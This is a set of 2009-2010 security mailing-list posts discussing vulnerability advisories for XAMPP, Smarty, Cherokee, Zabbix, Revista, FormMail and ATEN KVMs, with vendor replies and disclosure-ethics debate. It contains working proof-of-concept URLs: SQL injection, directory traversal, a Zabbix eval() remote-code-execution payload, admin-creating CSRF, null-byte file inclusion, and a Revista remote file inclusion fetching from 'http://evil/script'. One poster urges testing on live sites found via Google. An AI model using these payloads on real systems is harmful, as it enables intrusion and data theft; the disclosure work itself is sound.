> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
